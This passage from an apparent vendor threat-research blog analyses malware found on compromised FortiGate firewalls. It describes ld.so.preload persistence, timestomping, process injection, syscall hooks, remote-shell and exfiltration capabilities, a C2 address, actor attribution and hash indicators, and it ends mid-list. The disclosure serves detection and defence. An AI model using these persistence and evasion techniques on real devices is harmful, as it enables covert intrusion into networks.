primary executable responsible for dropping additional malware files and other malicious features. The tftpd binary performs the following actions: Establish malware persistence for /data2/libcrashpad.so by creating the file /data/etc/ld.so.preload containing a file path to libcrashpad.so. Perform timestomping on files to evade detection and as an anti-forensics technique: For files /bin/smit, /bin/toybox, /data/etc/ld.so.preload, /data2/libcrashpad.so, and /data2/tftpd - their access time and modification time are set based on the corresponding values of /bin/init. For file /lib/libaprhelper.so – its access time and modification time are set based on the corresponding values of /lib/libc.so.6. Enumerate all running processes and check the presence of the sslvpnd process. Once identified, it drops /lib/libaprhelper.so and injects it into the sslvpnd process. tftpd receives data from the sslvpnd process via the file system socket /tmp/clientsDownload.sock. It may attempt to retrieve data, such as the address of the peer connected to the socket, from sslvpnd connections via the hooked accept and accept4 syscalls. Drop /bin/smit binary. It then deletes the existing FortiOS symbolic link of /bin/smit, which was originally directed to /bin/init file. Drop /bin/toybox binary. Following this, it deletes an existing FortiOS symbolic link of /bin/sh, which was originally directed to the /bin/sysctl file. It then copies the binary /bin/toybox to be the new /bin/sh. It sometimes creates a new folder, /usr/bin. Additional routines are present that may allow stored credentials to be decrypted from the configuration (see Mitigations section for more details) File Path /data2/tftpd Hashes: MD5: cf3e6cb8ada288aa2d1bc39d1ce2ad54 SHA256: a322034e610aa07632ade4323d37d55c5c613b155ef51b05ab83de4159c231b2 MD5: 0909a8ee77fbd40ab461df20600ddae0 SHA256: ba0b6b0c6b628dffcf0f34fa78fb61acb6c1b457f7b5addadbe4dba575bac5bd MD5: 953813bb2137e351709d98a91336eb25 SHA256: 65a9314fc3fac8cc238534d81c12e2080820f86a58299113c164aea4cd18f11c MD5: b11faf42afeca35920a248001b90e997 SHA256: File Type: ELF 64-bit LSB executable x86-64, version 1 (SYSV) dynamically linked, stripped Libaprhelper.so: Libaprhelper.so is dropped by tftpd and injected into the sslvpnd process. Libaprhelper.so hooks the system calls accept and accept4 in the process’ Procedure Linkage Table. The accept hook function first calls the true accept syscall. It then receives 48 bytes from the socket, which accepts the connection. Eight bytes located at offset 15 from the received data are compared with the byte sequence DA F3 64 13 C2 8D 63 C3. If the pattern matches, the socket may be shared with the tftpd process via the file system socket /tmp/clientsDownload.sock. File Path /lib/libaprhelper.so Hashes: MD5: 9e898f389003f9141831856f021fda3a SHA256: 5bfe16360fb42fa50a56fe8b1140bec202e9345965ddb456a8311b2583d2fe48 MD5: 176220a8ac6f344aaf620efab5c6f276 SHA256: 7a86b793612a6b6a3f27d7c24eec4c75202915c7c2c36b786c39ef95628b1286 MD5: 2349d1d1acb69e91aea5be7767254f81 SHA256: 1209b5ff4755e689e260e680caf33b52ecd3fa8a1bb20ff06d7770828490baee MD5: 9d7b6fc9a0702381062726f634d0df0f SHA256: 43c1905b2078a8de9d0fa42e16465692066825e3dcb42a17cbf40b77736527c2 MD5: e7ab34f7df83ce3ed6bf287332f7ce73 SHA256: 80d03d5d35a7b9bde7e5e60f0df3baa0c51cbbd9214d875cd1967f589b9df183 MD5: 8b2c08f4e558626f34494b171e21f644 SHA256: a667edc691e9950ec0bc92e9f2cdcb7e99a086286063864040435f26537f9d9b MD5: 9d2bc4e59357b56199b709a599600fa7 SHA256: MD5: b32ad75ce0494586a8b278c0413c0406 SHA256: File Type: ELF 64-bit LSB shared object x86-64, version 1 (SYSV) dynamically linked, stripped smit: On a clean FortiOS system, /bin/smit is a symbolic link to /bin/init. The standalone malicious smit binary retains the normal FortiOS function to hide its presence by forking a child process to execute /bin/init with the arguments provided to /bin/smit. It performs the following malicious actions after the child process terminates: Establish malware persistence for /data2/libcrashpad.so by creating the file /data/etc/ld.so.preload containing a file path to libcrashpad.so Perform timestomping on /data/etc/ld.so.preload. The access time and modification time are set based on the corresponding values of /bin/init. File Path /bin/smit Hashes: MD5: 08039b1cbdf880a3d86f8646bb286709 SHA256: 2b1aa340384b5e889008839bc961fcb438379cc2de8be880664ae41fd9e77084 MD5: 2fc1aa1ab1ecde77eb6724f7385d5749 SHA256: 46ac81f19c996d9a2e257ef584455a721aad15f1cdeb597e8f853e288b3e9070 MD5: cf49feb43667819b880422efbe89fd01 SHA256: 6a92e750eb4e84be875158e6ecb11ac3e4716c04ff32d29206bf7b1a4ec46edc File Type: ELF 64-bit LSB shared object x86-64, version 1 (SYSV) dynamically linked, stripped toybox: A toybox binary was dropped by tftpd. tftpd then created a new symbolic link, linking /bin/sh to /bin/toybox. Toybox is a static binary package containing functions such as insmod, iotop, lsmod, lsusb, makedev, mkdir, mkfifo, nc, netcat, pivot_root, route, wget, ftpget, shred, and other utilities. These binaries can modify system and network settings, which can help accomplish further actions, such as exfiltration, pivoting to other devices, and getting more system information. This toybox might provide convenience to the attacker for their lateral movement. File Path /bin/toybox Hashes: MD5: d0a31975a436d0fe3b4f990c5003ca59 SHA256: File Type: ELF 64-bit LSB executable x86-64, version 1 (SYSV) statically linked, stripped Cluster 2 Target Industries: Internet Service Provider /data/etc/ld.so.preload: Files listed within ld.so.preload will be preloaded by any other binary on the system. In these cases, /data/etc/ld.so.preload contains the string /data2/flatkc_info, which results in flatkc_info being executed whenever other binaries are run. File Path /data/etc/ld.so.preload Hashes: MD5: 2495159a80aafcdb80bcf8d913d4db80 SHA256: MD5: b62871b520bd304086da76c729fa5cf7 SHA256: File Type: ASCII Text /data2/flatkc_info: Executes /data2/new_alert_info. File Path /data2/flatkc_info Hashes: MD5: 5d898fdbe0080f5c4437d834e8c23498 SHA256: 1029ff063f739ebbf8add74313f2cc454f5d14655327d1a1c190b115549173ed File Type: ELF 64-bit LSB shared object executable x86-64, version 1 (SYSV) dynamically linked, stripped /data2/new_alert_info: New_alert_info creates and executes the files /bin/smit, /bin/httpsclid, and /bin/httpsng. Upon rebooting, these three files in the bin directory will not persist. New_alert_info, however, provides a persistence mechanism for smit, httpsclid, and httpsng. The files are embedded within new_alert_info and not downloaded from an external source. New_alert_info also reinforces persistence for flatkc_info by creating the file /data/etc/ld.so.preload and adding the string /data/etc/flatkc_info to it. This malware bears similarities to Rekoobe Malware, which is commonly used by APT31. File Path /data2/new_alert_info Hashes: MD5: 210fcaa8bf95c3c861ee49cca59a7a3d SHA256: 64932db564f8cd3a58f3d019d1967b981fdcf3c59f7f5ff6bb3bdf8ec736c31a MD5: a5d4b0228beca0f5360049490882683f SHA256: 3b897cf3ef1af97d19d8cc7680235f75ee5cbd431d2f93e7e6ac17f003dd812d MD5: a1192fca2299c57b122e1ffbadecef37 SHA256: 05ac806a539c0054bbb8774bac63ac75dcbd8c709932ec21b8c5b67693272e3b File Type: ELF 64-bit LSB executable x86-64, version 1 (SYSV) statically linked, stripped httpsclid: Httpsclid contains an embedded ELF file. It writes the file to the device as /tmp/busybox. A local socket /tmp/ClientSessionData is created for inter-process communication. Httpsclid can perform various actions based on what is transmitted through the socket. 1. Exit program, 2. Data exfiltration, 3. Download/write files, 4. Remote shell. This file also has the additional capability to query AD Servers via LDAP to identify all active user accounts and query VMWare NSX SecurityTag APIs to mirror switch traffic. File Path /bin/httpsclid Hashes: MD5: 944a31cf9936920a3fb947cb29171631 SHA256: 7ff5e0c2ecd6397dcbc013d4c343007f9ebb4099aabda9a7745ab1dd1b215c91 MD5: d84a95d19f19eeee2415f41c2c181db8 SHA256: 5089f545aa94d273d18150102dc65c3a08b4335d6f171d9b3f655599d8589b0e MD5: 4c375c7ac9ee2f8a04c920381683e811 SHA256: 7edd6af205e748d13641bf3d3209bc69ab062b71db06700277b337f3b026700e MD5: 60057a831f3498751e37413c45c29c4a SHA256: File Type: ELF 64-bit LSB executable x86-64 version 1 (SYSV) statically linked, stripped This malware also bears similarities to Rekoobe Malware, commonly used by APT31. /bin/httpsng: Httpsng masquerades itself by running with the process name [ata/0]. It may introduce additional malware to the system. /bin/httpsng contains code to use "/tmp/busybox tar -xvf" to unpack /tmp/tarlog.tar. However, the origin of /tmp/tarlog.tar is unknown and was not found in any systems. Httpsng receives an IP address via an ICMP request and establishes back a connection to that IP address. It can perform various actions based on what is transmitted through the connection. 1. Exit program, 2. Data exfiltration, 3. Download/write files, 4. Remote shell File Path /bin/httpsng Hashes: MD5: 7454bb4b3dfe4f4386980b63f119c208 SHA256: 1b7af533f32a1c0bb62420be787d9e02c8a71bca77f2b0857dd20599f8833853 MD5: f5caae23ace1ee0b48d02427b08f0bad SHA256: 534632ae386cf4d2190ef03be08a96f25fb3a9537d1c380141d36d797b983705 File Type: ELF 64-bit LSB executable x86-64 version 1 (SYSV) statically linked, stripped /bin/smit: Establishes persistence for /data2/flatkc_info by creating the file /data/etc/ld.so.preload containing the file path to flatkc_info. File Path /bin/smit Hashes: MD5: fc78c1800fbe25e57a7333ca51e183b6 SHA256: b8bd746e4713e101266d74bbe8cfbf064b5979adb8df68076d295df9e0a215d0 MD5: 247139079d8a1c2534ef0d2b726d8ebb SHA256: 4860b98219177aacb786b1a2d5c68e999c0c8cf6c6400c7fe773fb18f44c78be MD5: 823ae2645869e4fc9ebcb046aa760440 SHA256: File Type: ELF 64-bit LSB executable x86-64, version 1 (SYSV) dynamically linked, stripped busybox: A legitimate busybox binary. File Path /tmp/busybox & httpsng Hashes: MD5: ebce43017d2cb316ea45e08374de7315 SHA256: 6e123e7f3202a8c1e9b1f94d8941580a25135382b99e8d3e34fb858bba311348 File Type: ELF 64-bit LSB executable x86-64, version 1 (SYSV) statically linked, stripped Cluster 3 Target Industries: manufacturing, consulting ld.so.preload: Files listed within ld.so.preload will be preloaded by any other binary on the system. In these cases, /data/etc/ld.so.preload contains the string /data2/libunwind.1.so, which results in libunwind.1.so being executed whenever other binaries are run. File Path /tmp/busybox & httpsng Hashes: MD5: 8644b8b1cec97b2f43c89526c3b8aaae SHA256: File Type: ASCII Text libunwind.1.so: Libunwind.1.so executes /data2/httpdng under the following conditions: /tmp/httpdng.lock is not present The current process’ command name is ‘ripd’ /tmp/httpdng.lock will be created if libunwind.1.so executes /data2/httpdng. File Path /data2/libunwind.1.so Hashes: MD5: e9c2a3efaa97462168790b2fe234a7ba SHA256: 5700a8d9f00ebeb52536d16701522ecf6a07deb660e442cd67acdfb768e17c39 File Type: ELF 64-bit LSB shared object x86-64, version 1 (SYSV) dynamically linked, stripped httpdng: Httpdng establishes persistence for /data2/libunwind.1.so by leveraging the file /data/etc/ld.so.preload. It is also responsible for dropping files in non-persistent directories (directories in which added files are deleted on reboot). /bin/toybox, /bin/smit,/data2/libunwind.1.so, /tmp/.ptyagent, and /data/etc/ld.so.preload are created by httpdng. Apart from /tmp/.ptyagent, the access and modify timestamps of these files are changed to match those of /bin/init. Httpdng may create the file /lib/libaprsd.so. Its access and timestamps are modified to match those of /lib/libc.so.6. The malware may attempt to load this shared object into the sslvpnd process. Httpdng receives data from the process that has loaded /lib/libaprsd.so via a file system socket, /tmp/clientsDownload.sock. It may attempt to retrieve data from connections via the hooked accept and accept4 syscalls. File Path /data2/httpdng Hashes: MD5: f84a5eff50af2a7bfae49345b3b3ce1e SHA256: 662dd91647c45df0625c011565a60f18e0de47b9e57653763868205f4026593f MD5: 7aaaf17e4e3638d2f93b1cf5a1579ac6 SHA256: 0088cfd5b4b7195edab836236ba0c6a0c2aded3e4b8a842f11ee4e9c5e4ae3c1 MD5: e1aff3203fd38fc4790157d908ef742a SHA256: MD5: f66c0c328d40cffdb0d8dfa0444fe923 SHA256: File Type: ELF 64-bit LSB executable x86-64, version 1 (SYSV) dynamically linked, stripped libaprsd.so: Libaprsd.so hooks the system calls accept and accept4 in the process’ Procedure Linkage Table. The accept hook function first calls the true accept syscall. It then receives 48 bytes from the socket, which accepts the connection. Eight bytes located at offset 15 from the received data are compared with the byte sequence DA F3 64 13 C3 84 C2 80. If the pattern matches, the socket may be shared with the httpdng process via the file system socket /tmp/clientsDownload.sock. File Path /lib/libaprsd.so Hashes: MD5: dc95090cca508d1196b972c385dc3405 SHA256: 89e049fd0df33da453fe04d9b2f9619b46dac0fceb7a8156560cce08fce3d8b7 MD5: 9d7a1a536eef0ff1e87ee1d78ac7bc69 SHA256: 1748035e9cb1932bbe6c3aa93c2ae044296e0f0774d0aa0d3eb688cdd2c0b2f2 MD5: 834e542076e7c37e848fb68b3671f7a1 SHA256: MD5: 62ef5ec4adbd655adcc418d7ba2262ac SHA256: File Type: ELF 64-bit LSB shared object x86-64, version 1 (SYSV) dynamically linked, stripped smit: Smit will establish malware persistence by creating the file /data/etc/ld.so.preload containing the string /data2/libunwind.1.so. This ensures /data2/libunwind.1.so will be executed regularly. The timestamps of /data/etc/ld.so.preload are modified by smit to mask its presence. File Path /bin/smit Hashes: MD5: bc1bd24e32fb6a778c1e79840e8ec78f SHA256: 51d0d5d83735a3a63a2405b4f9909676fc572827693f34b80799b0786a5f1677 File Type: ELF 64-bit LSB executable ARM aarch64, version 1 (SYSV) dynamically linked, stripped toybox: Toybox binary dropped by httpdng. Toybox is a collection of Linux command line utilities. File Path /bin/toybox Hashes: MD5: d0a31975a436d0fe3b4f990c5003ca59 SHA256: File Type: ELF 64-bit LSB executable x86-64, version 1 (SYSV) statically linked, stripped ptyagent: Ptyagent may serve as a remote shell. It can create and listen to a network socket. It will also execute /bin/bash or /bin/sh, depending on what is present on the system. File Path /tmp/.ptyagent Hashes: MD5: 2d88911f67a2cce7fa97cdf0ae59a027 SHA256: 910e7fc043560fbc2757304503de38a8824238765b2d91d87b974fefa253e311 File Type: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) statically linked, stripped Cluster 4 libpe.so: This is a file unpacker that unpacks an encoded file into multiple files. This file has the typical hallmark of malware by being able to delay startup by a random amount of time to avoid detection. File Path Hashes: MD5: 90235445d07be98cd0f820b5 SHA256: 50451bb5b6d68115695a6cb277839a6dd2bad8f70bdb8b79670b18dcde188965 File Type: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped smartctl: This file name is the same as the legitimate file /bin/smartctl. However, the purpose of this file is to execute shell commands from the FortiGate command line as it redirects its input to /bin/sh. File Path /bin/smartctl Hashes: MD5: 205a8c6049061930490b2482855babcd SHA256: File Type: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) statically linked, stripped authd: This binary provides a process injection feature into a running process and has an API hooking mechanism. We have seen malicious binaries that provide similar process injection capabilities. However, this binary seems a little more advanced as it includes a built-in API hooking mechanism. File Path /bin/authd Hashes: MD5: 9124ce75319514561156d2013fc9d3be SHA256: f40c04fb9e2d4157a0bc753925dbc5f757feb77cdd22f90fedf3cc5e095143bc File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-x86-64.so.2 httpsd: This binary has C2 communication capability and can read and write to a configuration. File Path /bin/httpsd Hashes: MD5: 218a3525ab8e46f7afe252d050a86907 SHA256: 3ed99aad5922744b6a75ea90ea6ece81ba0d8eb9935aec38b897e44ac3b36c35 File Type: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, stripped This sample contained an interesting string that led one of our CERT partners to name this cluster COATHANGER “She took his coat and hung it up.” This string is taken from the book Lamb to the Slaughter by Roald Dahl. A search for this string in Virus Total resulted in a single link to an innocuous PDF file containing the same string. https://www.virustotal.com/gui/search/21ce19be794adbcff49c90cfff9eba5189ae0131ac69396ea5544822882b440b%255C/files This was not overly unusual, given that the file appears to be a PDF copy of the book. However, the date of the upload was suspiciously recent for such an old book. Out of an abundance of caution, we analyzed the file, but it was found not to be malicious. newcli: It uses “authd” binary to inject /lib/preload.so file and replaces the reboot function with a malicious function. File Path /bin/newcli Hashes: MD5: ab89139e3d47fbaba2da33040da95200 SHA256: 2acc6a2a931db63fe3a875780f00192a60955c9794df68fe0ace0012d309b04f File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked We have observed in other clusters an injector binary being used to inject into a process with pid=1. preload.so: Provides persistence and system functions. It can copy malicious files to memory and write them back to disk when the system reboots. It also provides a malicious function called newreboot. This is somewhat similar to previous clusters due to the presence of a “reboot” export function/API hooking, but other features have not previously been observed. File Path preload.so Hashes: MD5: a62377c01935f366761846b5ceed5a49 SHA256: 1c437dc9e929669e5a65a1c70afb3107fba471afb9ad35e3848334c9332f2b59 File Type: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked sh: This non-malicious busybox binary provides multiple tools, as seen in other campaigns. File Path /bin/sh Hashes: MD5: 991461b86aebecfd096dc11ff2a04b4b SHA256: dcd9a5af1c6297ed1a66c851efa305000335d8ade068ba515125a6612f1d5300 File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped liblog.so: This hook reads APIs and targets /dev/fgtlog to disable reading from /dev/fgtlog. We have not seen malware targeting /dev/fgtlog in previous clusters. File Path /lib/liblog.so Hashes: MD5: e24d14d3e6c6de0ed3db050dd5c935f0 SHA256: a79f80158ebbf9e34f6a7ec86b564de2fbee783fe6c1e20eefe2832226e2f827 File Type: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped packfile: This is a container file with malicious files in it that are unpacked as needed. This is unlike previous clusters. File Path packfile Hashes: MD5: 201ee76e996846d5ea3fc03bac3273dd SHA256: 4591b4fb1c93c27203b36c773597fd3f885338ad7641dcebf8ed2395acdf4a5f File Type: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) statically linked, stripped Standalone Instances Instance 1 Target industry: consultancy ld.so.preload: Files listed within ld.so.preload will be preloaded by any binary on the system. On this system, /data/etc/ld.so.preload contains the string /data2/lib/liblpmonitor.so, which results in liblpmonitor.so being loaded whenever other binaries are run. However, the file /data2/lib/liblpmonitor.so was not found on the disk at the time of our investigation. File Path /data/etc/ld.so.preload Hashes: MD5: 0ef308bacbbc932fa24f10ae2b83a984 SHA256: File Type: ASCII Text ptyagent This file is based on Chisel, an open-source traffic tunneling tool that can tunnel TCP and UDP connections over HTTP and establish a reverse shell. This tooling has been observed to be used by multiple APTs, including the Lorenz Ransomware group and UNC757. File Path /tmp/.ptyagent Hashes: MD5: ca5184d43691ee8d8619377e600fa117 SHA256: 70372f95fa5cf917639007ae25a67a53d0297b67792b00bbea63ce0b170f95b8 File Type: Known malware - Linux/Chisel.D!tr Instance 2 Target industry: service provider ld.so.preload: Files listed within ld.so.preload will be preloaded by any other binary on the system. On this system, /data/etc/ld.so.preload contains the string /data2/liblink.so.1, which results in all the FortiOS processes loading and executing liblink.so.1. ld.so.preload also acts as a persistence mechanism. File Path /data/etc/ld.so.preload Hashes: MD5: ee50b080c6209e63a85c60cd3cee52b4 SHA256: File Type: ASCII Text liblink.so.1: liblink.so.1 performs a check to determine if the file /tmp/fortlinkd.lock exists. If the file is present, it proceeds. It also ensures that only one instance of liblink.so.1 performs malicious activities by verifying it is running under the ripd process. This check allows it to prevent multiple instances from engaging in malicious actions. Next, it executes the /data2/fortlinkd binary and creates the file /tmp/fortlinkd.lock to prevent further executions of /data2/fortlinkd. File Path /data2/liblink.so.1 Hashes: MD5: 031e21168d7e783d26998e63217a365c SHA256: dfafeb3efaba2c8e5d80ec7a37c00805895df1a47333515082da54e49a388a59 File Type: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped fortlinkd: The fortlinkd process attaches itself to the /bin/init process (pid=1) and reads the memory of /bin/init into a virtual address space. It continues this process until it locates the string /bin/smit and potentially attempts to modify the memory of the /bin/init process. It then deletes the original /bin/smit binary and replaces it with a new malicious binary as /bin/smit. To provide full permissions, fortlinkd employs chmod on the malicious /bin/smit. If the /bin/fgfm file exists, it is removed, and a new malware file is dropped in its place as /bin/fgfm. The /data2/fortlinkd then executes the newly dropped fgfm binary, followed by the creation of /data2/liblink.so.1 and /data/etc/ld.so.preload files. File Path /data2/fortlinkd Hashes: MD5: d97bae365bd4c3fbf2eb834d678dbd11 SHA256: bfc20c8e21fa4674492576961baedae90f7794a8534d2ad3ef4e230de2fb38ab File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped smit: smit checks for the presence of /data/etc/ld.so.preload file, which is used as a persistence mechanism. It creates a child process that executes /bin/init with smit as its argument. File Path /bin/smit Hashes: MD5: 823ae2645869e4fc9ebcb046aa760440 SHA256: File Type: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked fgfm: Fgfm binary masquerades itself by running with the process name [ata/0]. The malware may be able to download additional payloads, including the file /tmp/tmplog.tar. The file gets unpacked using /tmp/busybox tar -xvf. Fgfm can delete files on the system, establish a connection, and perform various actions based on what is transmitted through the connection. Exit program Data exfiltration Download/write files Remote shell File Path /bin/fgfm Hashes: MD5: 83d5c75bf1d2090a6cceaf2a80d906da SHA256: File Type: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked Instance 3 Target industry: service provider ld.so.preload: Files listed within ld.so.preload will be preloaded by any binary on the system. On this FortiGate, /data/etc/ld.so.preload contains the string “/data/lib/libav.so”, which results in /data/lib/libav.so being loaded whenever other binaries are executed. File Path /data/etc/ld.so.preload Hashes: MD5: 0d4b4c13a6ef8266ed5ef464c6883bf1 SHA256: File Type: ASCII Text libav.so: libav.so executes /data2/.vile/ketg under the following conditions: The current process’ command line contains ‘usbmuxd’ /tmp/logx file is not present The file /tmp/logx will be created if it doesn’t exist. It is an empty file used as a mark of the execution. Libav.so also attempts to find the kernel symbol “fos_process_appraise” by iterating all kernel symbols using /proc/kallsyms and seems to change a few bytes in the device’s physical memory by accessing /dev/mem file to modify/bypass security features. File Path /data/lib/libav.so.new/libav.so Hashes: MD5: 30009c9052e588b93fb12e918bbcecfb SHA256: 6584f614fb0ef864cd5aa5b6ec1b42299f2b639a23e4b1e853caf3b2f2254b14 File Type: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped ketg: This is the primary executable for dropping additional malware files and other important malicious features. The ketg binary has the following capabilities: Establish persistence: It checks for the existence of the file /data2/.vile/ldzvg and copies it as a persistence file /data/etc/ld.so.preload that contains the path to /data/lib/libav.so. It also changes the file permission and sets it to “r-xr-xr-x.” File creation: It checks for the existence of file /data2/.vile/libsef.so and copies this shared object as /data/lib/libav.so.new. It also changes the file permission and sets it to “r-xr-xr-x.” It checks for the existence of file /data2/.vile/569851 and copies this shared object as /SYSV64564856. It checks for the existence of file /data2/.vile/libsef.so and copies this shared object again in place of the legitimate AV Engine file /data/lib/libav.so. It also changes the file permission and sets it to “r-xr-xr-x.” Process injection: It executes the binary /data2/.vile/ith with arguments to inject the shared object file /SYSV64564856 into the /bin/init process (pid=1). After successful injection, it deletes /SYSV64564856. File Path /data2/.vile/ketg Hashes: MD5: e9ae2188d7a46fdac30b192b7405cba2 SHA256: 8f380a844011daa8854798bf31981b660bf752e95c2e41ae50c0306275b5c0ed File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped SYSV64564856: The shared object /SYSV64564856 is injected into the main /bin/init process with the help of a malicious /data2/.vile/ith binary. This shared object has API hooking ability and tries to hook the reboot function of FortiOS to execute the /data2/.vile/ketg binary before calling the original reboot function. File Path /SYSV64564856 Hashes: MD5: 8771305a111e1b38ada954513af4507c SHA256: File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped ith: This executable enables injecting a shared object into a running process. This binary performs process injection using Linux’s ptrace function. We observed that ith is executed by the ketg process using execve(“/data2/.ville/ith”, [1 –p 1 /SYSV64564856] [TERMINFO=/tmp/terminfo, TERM=vt220, and PWD=/, TZ=GMT]), thereby injecting malicious sharedobject into pid=1, which is the /bin/init process. File Path /data2/.vile/ith Hashes: MD5: 8d4c9b498da847c3690260bb28f046f9 SHA256: 75ce32c1e3ba902f7dcbf5bce63347448a94537682cebdde6d93efb2ede3f81c File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped /data2/.vile/dnpfmn: This binary checks for the existence of the file /data2/.vile/lmcdle and executes the fmteld binary (which is very similar to the legitimate busybox binary), causing it to wait for 900 seconds and then kill all processes with the name lmcdle. File Path /data2/.vile/dnpfmn Hashes: MD5: 3977f8b8f5ec13604819f45282fd9b71 SHA256: adb1b6fc93a0225a203ec64a48470072b5d5c43d8f15860ee03f24673d9d97fe File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped lmcdle: This binary retrieves and stores kernel information and can communicate with the IP 146.185.214.63 on port 443, an IP in a Cloud Provider in Australia. This IP does not appear in any blocklist. After a connection is established, it sends some encoded data to this IP and can also receive responses from the server. At the time of investigation, the remote server did not respond with meaningful information. File Path /data2/.vile/lmcdle Hashes: MD5: 3fba828577e745c8a51d657cc393f461 SHA256: 20de58db0cfb04ce0abde662ca84b00ca7135bb546e2d32865046c3e4acc1b92 File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped Fmteld and /data2/brodel: Fmteld and brodel appear to be legitimate busybox binaries with no additional extensions. File Path /data2/.vile/fmteld Hashes: MD5: 46c59ceb4ded468d692a92e34df75988 SHA256: File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped File Path /data2/brodel Hashes: MD5: 96e74f0f463eadeded69db5d0efde628 SHA256: File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped Malware Summary & Attribution Clusters 1, 2, and 3 All three of the primary activity clusters contain similarities in techniques: In all cluster cases, persistence was achieved using the /bin/smit and /data/etc/ld.so.preload Clusters 1 and 3 use toybox as a multipurpose binary (cluster 2 uses a busybox). Clusters 1 and 3 target similar industries, unlike cluster 2. Clusters 2 and 3 use similar naming conventions for very different binaries (httpsng & httpdng). Cluster3 httpdng contains functionality similar to Cluster2 libcrashpad. It may be a different version of the malware. Use of /bin/smit and /data/etc/ld.so.preload appear in all the clusters, and this method was used on some single cases not listed in this document. One file, – /bin/smit, appeared to have been built from the same code and shared between clusters 1 and 2 Cluster 2 malware bore many similarities to the Rekoobe Malware commonly used by APT31. Due to the targeting of critical infrastructure organizations, living-off-the-land (LOTL) binaries, and the similarity of techniques employed, we believe Clusters 1 and 3 are from the same threat actor or group of actors and are related to Volt Typhoon (G1017). While using similar exploitation methods and the previously used Rekoobe Malware, the techniques used in Cluster 2 and targets are different enough to hypothesize this could be a separate but coordinating APT group. Cluster 4 This cluster was only seen twice and does not have enough data points to make a clear attribution. There is an overlap in techniques similar to Clusters 1 and 3. Still, there are enough differences and regional targeting to assume this is a different APT potentially sharing tactics of a related actor. The techniques bear similar hallmarks of previously observed activities by APT15. Instance 1 This individual instance does not show the hallmarks of the other cases. The use of Bash Scripts and off-the-shelf Chisel malware indicates a different actor, possibly UNC757, as described by CISA. Instance 2 This individual instance bears the hallmark of the actor responsible for Cluster 1 and 3, based on atomic indicators. However, the evidence is weak. Conclusion Fortinet’s culture of proactive, transparent, and responsible PSIRT disclosure is one of many ways we show up as a responsible member of a larger cybersecurity ecosystem and demonstrate our commitment to helping customers make informed risk-based decisions. Fortinet is sharing this follow-on research and related details to help the industry collaborate on identifying this actor(s)'s activity and aid in detecting and preventing further activity. These attacks demonstrate the use of already resolved N-day vulnerabilities and subsequent LOTL techniques, which are highly indicative of the behavior employed by the cyber actor or group of actors known as Volt Typhoon, which has been using these methods to target critical infrastructure and potentially other adjacent actors. This report also further highlights the need for organizations to have a robust patch management program in place and to follow best practices to ensure a secure infrastructure. Recommended actions CISA has today provided additional guidance for securing your network against this activity in their white paper, Identifying and Mitigating Living Off the Land Techniques joint guidance. This blog further highlights the need for organizations to follow good cyber hygiene, including industry guidance offered by the Network Resilience Coalition, of which Fortinet is a founding member. Fortinet strongly recommends the following activities: Monitor Fortinet Security Advisories and immediately patch affected systems. If you suspect your device may have been compromised, please follow the recommended advice by performing a clean install of the latest patch version and audit your configuration for any unauthorized changes. Fortinet has implemented additional measures to prevent the exploitation of unpatched systems in the wild. Fortinet has implemented hardware-based firmware and filesystem integrity checking, including virtual patching of the local management interface and real-time file system integrity checking, and continues to encourage customers to upgrade to the latest firmware version(s) to take advantage of these features. Follow hardening recommendations, e.g., FortiOS 7.2.0 Hardening Guide Minimize the attack surface by disabling unused features and managing devices via an out-of-band method wherever possible. Maintain good cyber hygiene and follow vendor patching recommendations. IOCs As this is a post-compromise forensic static analysis on the malware samples, only file sample IoCs are included and not IP IoCs. File Hash Detection lamb_to_the_slaughter_story.pdf MD5: a9fcd43714f33da1711dfb651fae5b17 SHA1: 34326088f095580209a74832fd68f8d1a91e7cc5 SHA256: 21ce19be794adbcff49c90cfff9eba5189ae0131ac69396ea5544822882b440b N/A ld.preeload MD5: 2495159a80aafcdb80bcf8d913d4db80 MD5: b62871b520bd304086da76c729fa5cf7 MD5: e3bb54fb78b70d50746082d077cfccba MD5: 1f7c614bbb75fec9b94efb58404bdeca MD5: d590aa857efe4623c221a398e953c764 MD5: 5fe8e0625b272cf2bb75023c1ded7b44 MD5: 8644b8b1cec97b2f43c89526c3b8aaae MD5: 0ef308bacbbc932fa24f10ae2b83a984 MD5: 0d4b4c13a6ef8266ed5ef464c6883bf1 MD5: ee50b080c6209e63a85c60cd3cee52b4 N/A /data2/flatkc_info MD5: 5d898fdbe0080f5c4437d834e8c23498 ELF/Agent.3498!tr data2/new_alert_info MD5: 210fcaa8bf95c3c861ee49cca59a7a3d ELF/Agent.7A3D!tr MD5: a5d4b0228beca0f5360049490882683f ELF/Agent.683F!tr MD5: a1192fca2299c57b122e1ffbadecef37 ELF/Agent.EF37!tr /bin/httpsclid MD5: 944a31cf9936920a3fb947cb29171631 SHA256: 7ff5e0c2ecd6397dcbc013d4c343007f9ebb4099aabda9a7745ab1dd1b215c91 ELF/Agent.E811!tr MD5: 60057a831f3498751e37413c45c29c4a TBC MD5: d84a95d19f19eeee2415f41c2c181db8 SHA256: 5089f545aa94d273d18150102dc65c3a08b4335d6f171d9b3f655599d8589b0e ELF/Agent.1DB8!tr MD5: 